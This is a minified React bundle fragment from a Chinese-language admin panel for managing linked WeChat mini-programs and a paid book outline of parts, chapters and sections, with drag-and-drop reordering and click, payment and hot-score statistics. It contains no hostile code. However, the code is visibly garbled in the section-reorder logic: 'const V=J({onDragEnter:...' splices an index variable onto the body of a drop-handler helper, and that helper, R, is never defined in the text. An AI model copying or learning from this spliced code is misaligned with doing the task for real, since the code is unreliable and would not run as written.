shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(yi,{className:"w-5 h-5 text-[#38bdac]"}),"关联小程序管理"]}),s.jsx(It,{className:"text-gray-400",children:"添加后生成 32 位密钥,链接标签选择小程序时存密钥;小程序端点击 #标签 时用密钥查 appId 再跳转。需在 app.json 的 navigateToMiniProgramAppIdList 中配置目标 AppID。"})]}),s.jsxs(Ee,{children:[s.jsxs("div",{className:"flex justify-end gap-2 mb-4",children:[s.jsx(te,{variant:"outline",size:"sm",className:"border-gray-600 text-gray-400 hover:bg-gray-700/50",onClick:()=>g(),title:"刷新",children:s.jsx(qe,{className:"w-4 h-4"})}),s.jsxs(te,{onClick:y,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"添加关联小程序"]})]}),n?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"名称"}),s.jsx(ke,{className:"text-gray-400",children:"密钥"}),s.jsx(ke,{className:"text-gray-400",children:"AppID"}),s.jsx(ke,{className:"text-gray-400",children:"路径"}),s.jsx(ke,{className:"text-gray-400 w-24",children:"排序"}),s.jsx(ke,{className:"text-gray-400 w-32",children:"操作"})]})}),s.jsxs(dr,{children:[t.map(k=>s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-white",children:k.name}),s.jsx(ve,{className:"text-gray-300 font-mono text-xs",children:k.key}),s.jsx(ve,{className:"text-gray-300 font-mono text-sm",children:k.appId}),s.jsx(ve,{className:"text-gray-400 text-sm",children:k.path||"—"}),s.jsx(ve,{className:"text-gray-300",children:k.sort??0}),s.jsx(ve,{children:s.jsxs("div",{className:"flex gap-2",children:[s.jsx(te,{variant:"ghost",size:"sm",className:"text-[#38bdac] hover:bg-[#38bdac]/20",onClick:()=>N(k),children:s.jsx(nj,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"text-red-400 hover:bg-red-500/20",onClick:()=>v(k),children:s.jsx(Jn,{className:"w-4 h-4"})})]})})]},k.key)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:6,className:"text-center py-12 text-gray-500",children:"暂无关联小程序,点击「添加关联小程序」开始配置"})})]})]})]})]}),s.jsx(Dt,{open:a,onOpenChange:i,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md p-4 gap-3",children:[s.jsxs(Lt,{className:"gap-1",children:[s.jsx(_t,{className:"text-base",children:o?"编辑关联小程序":"添加关联小程序"}),s.jsx(yf,{className:"text-gray-400 text-xs",children:"填写目标小程序的名称和 AppID,路径可选(为空则打开首页)"})]}),s.jsxs("div",{className:"space-y-3 py-2",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"小程序名称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 text-sm",placeholder:"例如:Soul 创业派对",value:u.name,onChange:k=>h(C=>({...C,name:k.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"AppID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white font-mono h-8 text-sm",placeholder:"例如:wxb8bbb2b10dec74aa",value:u.appId,onChange:k=>h(C=>({...C,appId:k.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"路径(可选)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 text-sm",placeholder:"例如:pages/index/index",value:u.path,onChange:k=>h(C=>({...C,path:k.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"排序"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white h-8 text-sm w-20",value:u.sort,onChange:k=>h(C=>({...C,sort:parseInt(k.target.value,10)||0}))})]})]}),s.jsxs(on,{className:"gap-2 pt-1",children:[s.jsx(te,{variant:"outline",onClick:()=>i(!1),className:"border-gray-600",children:"取消"}),s.jsx(te,{onClick:w,disabled:f,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:f?"保存中...":"保存"})]})]})})]})}const sV=["一","二","三","四","五","六","七","八","九","十"];function Ng(t){return t.startsWith("part:")?{type:"part",id:t.slice(5)}:t.startsWith("chapter:")?{type:"chapter",id:t.slice(8)}:t.startsWith("section:")?{type:"section",id:t.slice(8)}:null}function aV({parts:t,expandedParts:e,onTogglePart:n,onReorder:r,onReadSection:a,onDeleteSection:i,onAddSectionInPart:o,onAddChapterInPart:c,onDeleteChapter:u,onEditPart:h,onDeletePart:f,onEditChapter:m,selectedSectionIds:g=[],onToggleSectionSelect:y,onShowSectionOrders:N,pinnedSectionIds:w=[]}){const[v,k]=b.useState(null),[C,E]=b.useState(null),T=(z,Z)=>(v==null?void 0:v.type)===z&&(v==null?void 0:v.id)===Z,I=(z,Z)=>(C==null?void 0:C.type)===z&&(C==null?void 0:C.id)===Z,O=b.useCallback(()=>{const z=[];for(const Z of t)for(const ne of Z.chapters)for(const fe of ne.sections)z.push({id:fe.id,partId:Z.id,partTitle:Z.title,chapterId:ne.id,chapterTitle:ne.title});return z},[t]),L=b.useCallback(async(z,Z,ne,fe)=>{var P;z.preventDefault(),z.stopPropagation();const xe=z.dataTransfer.getData("text/plain"),$=Ng(xe);if(!$||$.type===Z&&$.id===ne)return;const H=O(),oe=new Map(H.map(q=>[q.id,q]));if($.type==="part"&&Z==="part"){const q=t.map(J=>J.id),B=q.indexOf($.id),_=q.indexOf(ne);if(B===-1||_===-1)return;const W=[...q];W.splice(B,1),W.splice(B<_?_-1:_,0,$.id);const le=[];for(const J of W){const Y=t.find(V=>V.id===J);if(Y)for(const V of Y.chapters)for(const re of V.sections){const ue=oe.get(re.id);ue&&le.push(ue)}}await r(le);return}if($.type==="chapter"&&(Z==="chapter"||Z==="section"||Z==="part")){const q=t.find(ue=>ue.chapters.some(ce=>ce.id===$.id)),B=q==null?void 0:q.chapters.find(ue=>ue.id===$.id);if(!q||!B)return;let _,W,le=null;if(Z==="section"){const ue=oe.get(ne);if(!ue)return;_=ue.partId,W=ue.partTitle,le=ne}else if(Z==="chapter"){const ue=t.find(Re=>Re.chapters.some(Le=>Le.id===ne)),ce=ue==null?void 0:ue.chapters.find(Re=>Re.id===ne);if(!ue||!ce)return;_=ue.id,W=ue.title;const ye=H.filter(Re=>Re.chapterId===ne).pop();le=(ye==null?void 0:ye.id)??null}else{const ue=t.find(ye=>ye.id===ne);if(!ue||!ue.chapters[0])return;_=ue.id,W=ue.title;const ce=H.filter(ye=>ye.partId===ue.id&&ye.chapterId===ue.chapters[0].id);le=((P=ce[ce.length-1])==null?void 0:P.id)??null}const J=B.sections.map(ue=>ue.id),Y=H.filter(ue=>!J.includes(ue.id));let V=Y.length;if(le){const ue=Y.findIndex(ce=>ce.id===le);ue>=0&&(V=ue+1)}const re=J.map(ue=>({...oe.get(ue),partId:_,partTitle:W,chapterId:B.id,chapterTitle:B.title}));await r([...Y.slice(0,V),...re,...Y.slice(V)]);return}if($.type==="section"&&(Z==="section"||Z==="chapter"||Z==="part")){if(!fe)return;const{partId:q,partTitle:B,chapterId:_,chapterTitle:W}=fe;let le;if(Z==="section")le=H.findIndex(ce=>ce.id===ne);else if(Z==="chapter"){const ce=H.filter(ye=>ye.chapterId===ne).pop();le=ce?H.findIndex(ye=>ye.id===ce.id)+1:H.length}else{const ce=t.find(Le=>Le.id===ne);if(!(ce!=null&&ce.chapters[0]))return;const ye=H.filter(Le=>Le.partId===ce.id&&Le.chapterId===ce.chapters[0].id),Re=ye[ye.length-1];le=Re?H.findIndex(Le=>Le.id===Re.id)+1:0}const J=H.findIndex(ce=>ce.id===$.id);if(J===-1)return;const Y=H.filter(ce=>ce.id!==$.id),V=J({onDragEnter:fe=>{fe.preventDefault(),fe.stopPropagation(),fe.dataTransfer.dropEffect="move",E({type:z,id:Z})},onDragOver:fe=>{fe.preventDefault(),fe.stopPropagation(),fe.dataTransfer.dropEffect="move",E({type:z,id:Z})},onDragLeave:()=>E(null),onDrop:fe=>{E(null);const xe=Ng(fe.dataTransfer.getData("text/plain"));if(xe&&!(z==="section"&&xe.type==="section"&&xe.id===Z))if(z==="part")if(xe.type==="part")L(fe,"part",Z);else{const $=t.find(oe=>oe.id===Z);($==null?void 0:$.chapters[0])&&ne&&L(fe,"part",Z,ne)}else z==="chapter"&&ne?(xe.type==="section"||xe.type==="chapter")&&L(fe,"chapter",Z,ne):z==="section"&&ne&&L(fe,"section",Z,ne)}}),D=z=>sV[z]??String(z+1);return s.jsx("div",{className:"space-y-3",children:t.map((z,Z)=>{var B,_,W,le;const ne=z.title==="序言"||z.title.includes("序言"),fe=z.title==="尾声"||z.title.includes("尾声"),xe=z.title==="附录"||z.title.includes("附录"),$=I("part",z.id),H=e.includes(z.id),oe=z.chapters.length,P=z.chapters.reduce((J,Y)=>J+Y.sections.length,0);if(ne&&z.chapters.length===1&&z.chapters[0].sections.length===1){const J=z.chapters[0].sections[0],Y=I("section",J.id),V={partId:z.id,partTitle:z.title,chapterId:z.chapters[0].id,chapterTitle:z.chapters[0].title};return s.jsxs("div",{draggable:!0,onDragStart:re=>{re.stopPropagation(),re.dataTransfer.setData("text/plain","section:"+J.id),re.dataTransfer.effectAllowed="move",k({type:"section",id:J.id})},onDragEnd:()=>{k(null),E(null)},className:`rounded-xl border border-gray-700/50 bg-[#1C1C1E] p-4 flex items-center justify-between hover:border-[#38bdac]/30 transition-colors cursor-grab active:cursor-grabbing select-none min-h-[40px] ${Y?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":""} ${T("section",J.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":""}`,...R("section",J.id,V),children:[s.jsxs("div",{className:"flex items-center gap-3 flex-1 min-w-0 select-none",children:[s.jsx(ua,{className:"w-5 h-5 text-gray-500 shrink-0 opacity-60"}),y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:re=>re.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(J.id),onChange:()=>y(J.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsx("div",{className:"w-8 h-8 rounded-lg bg-gray-600/50 flex items-center justify-center shrink-0",children:s.jsx(Br,{className:"w-4 h-4 text-gray-400"})}),s.jsxs("span",{className:"font-medium text-gray-200 truncate",children:[z.chapters[0].title," | ",J.title]}),w.includes(J.id)&&s.jsx("span",{title:"已置顶",children:s.jsx(gl,{className:"w-3.5 h-3.5 text-amber-400 fill-amber-400 shrink-0"})})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",onMouseDown:re=>re.stopPropagation(),onClick:re=>re.stopPropagation(),children:[J.price===0||J.isFree?s.jsx("span",{className:"px-2 py-1 bg-[#38bdac]/20 text-[#38bdac] text-[10px] font-medium rounded",children:"免费"}):s.jsxs("span",{className:"text-xs text-gray-500",children:["¥",J.price]}),s.jsxs("span",{className:"text-[10px] text-gray-500",children:["点击 ",J.clickCount??0," · 付款 ",J.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(J.hotScore??0).toFixed(1)," · 第",J.hotRank&&J.hotRank>0?J.hotRank:"-","名"]}),N&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>N(J),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5",children:"付款记录"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>a(J),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>i(J),className:"text-gray-500 hover:text-red-400 h-7 px-2",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]})]},z.id)}if(z.id==="part-2026-daily"){const J=I("part",z.id);return s.jsxs("div",{className:`rounded-xl border overflow-hidden transition-all duration-200 ${J?"border-[#38bdac] ring-2 ring-[#38bdac]/40 bg-[#38bdac]/5":"border-gray-700/50 bg-[#1C1C1E]"}`,...R("part",z.id,{partId:z.id,partTitle:z.title,chapterId:((B=z.chapters[0])==null?void 0:B.id)??"",chapterTitle:((_=z.chapters[0])==null?void 0:_.title)??""}),children:[s.jsxs("div",{draggable:!0,onDragStart:Y=>{Y.stopPropagation(),Y.dataTransfer.setData("text/plain","part:"+z.id),Y.dataTransfer.effectAllowed="move",k({type:"part",id:z.id})},onDragEnd:()=>{k(null),E(null)},className:`flex items-center justify-between p-4 cursor-grab active:cursor-grabbing select-none transition-all duration-200 ${T("part",z.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":"hover:bg-[#162840]/50"}`,onClick:()=>n(z.id),children:[s.jsxs("div",{className:"flex items-center gap-3 min-w-0",children:[s.jsx(ua,{className:"w-5 h-5 text-gray-500 shrink-0 opacity-60"}),s.jsx("div",{className:"w-10 h-10 rounded-xl bg-[#38bdac]/80 flex items-center justify-center text-white font-bold shrink-0",children:"派"}),s.jsxs("div",{children:[s.jsx("h3",{className:"font-bold text-white text-base",children:z.title}),s.jsxs("p",{className:"text-xs text-gray-500 mt-0.5",children:["共 ",P," 节"]})]})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",onMouseDown:Y=>Y.stopPropagation(),onClick:Y=>Y.stopPropagation(),children:[o&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>o(z),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"在本篇下新增章节",children:s.jsx(hn,{className:"w-3.5 h-3.5"})}),h&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>h(z),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"编辑篇名",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),f&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>f(z),className:"text-gray-500 hover:text-red-400 h-7 px-2",title:"删除本篇",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})}),s.jsxs("span",{className:"text-xs text-gray-500",children:[oe,"章"]}),H?s.jsx(Zc,{className:"w-5 h-5 text-gray-500"}):s.jsx(pl,{className:"w-5 h-5 text-gray-500"})]})]}),H&&z.chapters.length>0&&s.jsx("div",{className:"border-t border-gray-700/50 pl-4 pr-4 pb-4 pt-3 space-y-4",children:z.chapters.map(Y=>s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center gap-2 w-full",children:[s.jsx("p",{className:"text-xs text-gray-500 pb-1 flex-1",children:Y.title}),s.jsxs("div",{className:"flex gap-0.5 shrink-0",onClick:V=>V.stopPropagation(),children:[m&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>m(z,Y),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"编辑章节名称",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),c&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>c(z),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"新增第X章",children:s.jsx(hn,{className:"w-3.5 h-3.5"})}),u&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>u(z,Y),className:"text-gray-500 hover:text-red-400 h-7 px-1.5",title:"删除本章",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]}),s.jsx("div",{className:"space-y-1 pl-2",children:Y.sections.map(V=>{const re=I("section",V.id);return s.jsxs("div",{draggable:!0,onDragStart:ue=>{ue.stopPropagation(),ue.dataTransfer.setData("text/plain","section:"+V.id),ue.dataTransfer.effectAllowed="move",k({type:"section",id:V.id})},onDragEnd:()=>{k(null),E(null)},className:`flex items-center justify-between py-2 px-3 rounded-lg min-h-[40px] cursor-grab active:cursor-grabbing select-none transition-all duration-200 ${re?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":"hover:bg-[#162840]/50"} ${T("section",V.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":""}`,...R("section",V.id,{partId:z.id,partTitle:z.title,chapterId:Y.id,chapterTitle:Y.title}),children:[s.jsxs("div",{className:"flex items-center gap-2 min-w-0 flex-1",children:[s.jsx(ua,{className:"w-4 h-4 text-gray-500 shrink-0 opacity-50"}),y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:ue=>ue.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(V.id),onChange:()=>y(V.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsxs("span",{className:"text-sm text-gray-200 truncate",children:[V.id," ",V.title]}),w.includes(V.id)&&s.jsx("span",{title:"已置顶",children:s.jsx(gl,{className:"w-3 h-3 text-amber-400 fill-amber-400 shrink-0"})})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",children:[s.jsxs("span",{className:"text-[10px] text-gray-500",children:["点击 ",V.clickCount??0," · 付款 ",V.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(V.hotScore??0).toFixed(1)," · 第",V.hotRank&&V.hotRank>0?V.hotRank:"-","名"]}),N&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>N(V),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5",children:"付款记录"}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>a(V),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>i(V),className:"text-gray-500 hover:text-red-400 h-7 px-1.5",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]},V.id)})})]},Y.id))})]},z.id)}if(xe)return s.jsxs("div",{className:"rounded-xl border border-gray-700/50 bg-[#1C1C1E] p-5",children:[s.jsx("h3",{className:"text-sm font-medium text-gray-400 mb-4",children:"附录"}),s.jsx("div",{className:"space-y-3",children:z.chapters.map((J,Y)=>J.sections.length>0?J.sections.map(V=>{const re=I("section",V.id);return s.jsxs("div",{draggable:!0,onDragStart:ue=>{ue.stopPropagation(),ue.dataTransfer.setData("text/plain","section:"+V.id),ue.dataTransfer.effectAllowed="move",k({type:"section",id:V.id})},onDragEnd:()=>{k(null),E(null)},className:`flex justify-between items-center py-2 select-none rounded px-2 -mx-2 group cursor-grab active:cursor-grabbing min-h-[40px] transition-all duration-200 ${re?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":"hover:bg-[#162840]/50"} ${T("section",V.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":""}`,...R("section",V.id,{partId:z.id,partTitle:z.title,chapterId:J.id,chapterTitle:J.title}),children:[s.jsxs("div",{className:"flex items-center gap-2 min-w-0 flex-1",children:[s.jsx(ua,{className:"w-4 h-4 text-gray-500 shrink-0 opacity-50"}),y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:ue=>ue.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(V.id),onChange:()=>y(V.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsxs("span",{className:"text-sm text-gray-300 truncate",children:["附录",Y+1," | ",J.title," | ",V.title]}),w.includes(V.id)&&s.jsx("span",{title:"已置顶",children:s.jsx(gl,{className:"w-3 h-3 text-amber-400 fill-amber-400 shrink-0"})})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",children:[s.jsxs("span",{className:"text-[10px] text-gray-500",children:["点击 ",V.clickCount??0," · 付款 ",V.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(V.hotScore??0).toFixed(1)," · 第",V.hotRank&&V.hotRank>0?V.hotRank:"-","名"]}),N&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>N(V),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5",children:"付款记录"}),s.jsxs("div",{className:"flex gap-1 opacity-0 group-hover:opacity-100 transition-opacity",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>a(V),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>i(V),className:"text-gray-500 hover:text-red-400 h-7 px-1.5",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]}),s.jsx(pl,{className:"w-4 h-4 text-gray-500 shrink-0"})]},V.id)}):s.jsxs("div",{className:"flex justify-between items-center py-2 select-none hover:bg-[#162840]/50 rounded px-2 -mx-2",children:[s.jsxs("span",{className:"text-sm text-gray-500",children:["附录",Y+1," | ",J.title,"(空)"]}),s.jsx(pl,{className:"w-4 h-4 text-gray-500 shrink-0"})]},J.id))})]},z.id);if(fe&&z.chapters.length===1&&z.chapters[0].sections.length===1){const J=z.chapters[0].sections[0],Y=I("section",J.id),V={partId:z.id,partTitle:z.title,chapterId:z.chapters[0].id,chapterTitle:z.chapters[0].title};return s.jsxs("div",{draggable:!0,onDragStart:re=>{re.stopPropagation(),re.dataTransfer.setData("text/plain","section:"+J.id),re.dataTransfer.effectAllowed="move",k({type:"section",id:J.id})},onDragEnd:()=>{k(null),E(null)},className:`rounded-xl border border-gray-700/50 bg-[#1C1C1E] p-4 flex items-center justify-between hover:border-[#38bdac]/30 transition-colors cursor-grab active:cursor-grabbing select-none min-h-[40px] ${Y?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":""} ${T("section",J.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":""}`,...R("section",J.id,V),children:[s.jsxs("div",{className:"flex items-center gap-3 flex-1 min-w-0 select-none",children:[s.jsx(ua,{className:"w-5 h-5 text-gray-500 shrink-0 opacity-60"}),y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:re=>re.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(J.id),onChange:()=>y(J.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsx("div",{className:"w-8 h-8 rounded-lg bg-gray-600/50 flex items-center justify-center shrink-0",children:s.jsx(Br,{className:"w-4 h-4 text-gray-400"})}),s.jsxs("span",{className:"font-medium text-gray-200 truncate",children:[z.chapters[0].title," | ",J.title]})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",onMouseDown:re=>re.stopPropagation(),onClick:re=>re.stopPropagation(),children:[J.price===0||J.isFree?s.jsx("span",{className:"px-2 py-1 bg-[#38bdac]/20 text-[#38bdac] text-[10px] font-medium rounded",children:"免费"}):s.jsxs("span",{className:"text-xs text-gray-500",children:["¥",J.price]}),s.jsxs("span",{className:"text-[10px] text-gray-500",children:["点击 ",J.clickCount??0," · 付款 ",J.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(J.hotScore??0).toFixed(1)," · 第",J.hotRank&&J.hotRank>0?J.hotRank:"-","名"]}),N&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>N(J),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5",children:"付款记录"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>a(J),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>i(J),className:"text-gray-500 hover:text-red-400 h-7 px-2",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]})]},z.id)}return fe?s.jsxs("div",{className:"rounded-xl border border-gray-700/50 bg-[#1C1C1E] p-5",children:[s.jsx("h3",{className:"text-sm font-medium text-gray-400 mb-4",children:"尾声"}),s.jsx("div",{className:"space-y-3",children:z.chapters.map(J=>J.sections.map(Y=>{const V=I("section",Y.id);return s.jsxs("div",{draggable:!0,onDragStart:re=>{re.stopPropagation(),re.dataTransfer.setData("text/plain","section:"+Y.id),re.dataTransfer.effectAllowed="move",k({type:"section",id:Y.id})},onDragEnd:()=>{k(null),E(null)},className:`flex justify-between items-center py-2 select-none rounded px-2 -mx-2 cursor-grab active:cursor-grabbing min-h-[40px] transition-all duration-200 ${V?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":"hover:bg-[#162840]/50"} ${T("section",Y.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":""}`,...R("section",Y.id,{partId:z.id,partTitle:z.title,chapterId:J.id,chapterTitle:J.title}),children:[s.jsxs("div",{className:"flex items-center gap-2 min-w-0 flex-1",children:[s.jsx(ua,{className:"w-4 h-4 text-gray-500 shrink-0 opacity-50"}),y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:re=>re.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(Y.id),onChange:()=>y(Y.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsxs("span",{className:"text-sm text-gray-300",children:[J.title," | ",Y.title]})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",children:[s.jsxs("span",{className:"text-[10px] text-gray-500",children:["点击 ",Y.clickCount??0," · 付款 ",Y.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(Y.hotScore??0).toFixed(1)," · 第",Y.hotRank&&Y.hotRank>0?Y.hotRank:"-","名"]}),N&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>N(Y),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5",children:"付款记录"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>a(Y),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>i(Y),className:"text-gray-500 hover:text-red-400 h-7 px-2",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]})]},Y.id)}))})]},z.id):s.jsxs("div",{className:`rounded-xl border bg-[#1C1C1E] overflow-hidden transition-all duration-200 ${$?"border-[#38bdac] ring-2 ring-[#38bdac]/40 bg-[#38bdac]/5":"border-gray-700/50"}`,...R("part",z.id,{partId:z.id,partTitle:z.title,chapterId:((W=z.chapters[0])==null?void 0:W.id)??"",chapterTitle:((le=z.chapters[0])==null?void 0:le.title)??""}),children:[s.jsxs("div",{draggable:!0,onDragStart:J=>{J.stopPropagation(),J.dataTransfer.setData("text/plain","part:"+z.id),J.dataTransfer.effectAllowed="move",k({type:"part",id:z.id})},onDragEnd:()=>{k(null),E(null)},className:`flex items-center justify-between p-4 cursor-grab active:cursor-grabbing select-none transition-all duration-200 ${T("part",z.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac] rounded-xl shadow-xl shadow-[#38bdac]/20":"hover:bg-[#162840]/50"}`,onClick:()=>n(z.id),children:[s.jsxs("div",{className:"flex items-center gap-3 min-w-0",children:[s.jsx(ua,{className:"w-5 h-5 text-gray-500 shrink-0 opacity-60"}),s.jsx("div",{className:"w-10 h-10 rounded-xl bg-[#38bdac] flex items-center justify-center text-white font-bold shadow-lg shadow-[#38bdac]/30 shrink-0",children:D(Z)}),s.jsxs("div",{children:[s.jsx("h3",{className:"font-bold text-white text-base",children:z.title}),s.jsxs("p",{className:"text-xs text-gray-500 mt-0.5",children:["共 ",P," 节"]})]})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",onMouseDown:J=>J.stopPropagation(),onClick:J=>J.stopPropagation(),children:[o&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>o(z),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"在本篇下新增章节",children:s.jsx(hn,{className:"w-3.5 h-3.5"})}),h&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>h(z),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"编辑篇名",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),f&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>f(z),className:"text-gray-500 hover:text-red-400 h-7 px-2",title:"删除本篇",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})}),s.jsxs("span",{className:"text-xs text-gray-500",children:[oe,"章"]}),H?s.jsx(Zc,{className:"w-5 h-5 text-gray-500"}):s.jsx(pl,{className:"w-5 h-5 text-gray-500"})]})]}),H&&s.jsx("div",{className:"border-t border-gray-700/50 pl-4 pr-4 pb-4 pt-3 space-y-4",children:z.chapters.map(J=>{const Y=I("chapter",J.id);return s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center gap-2 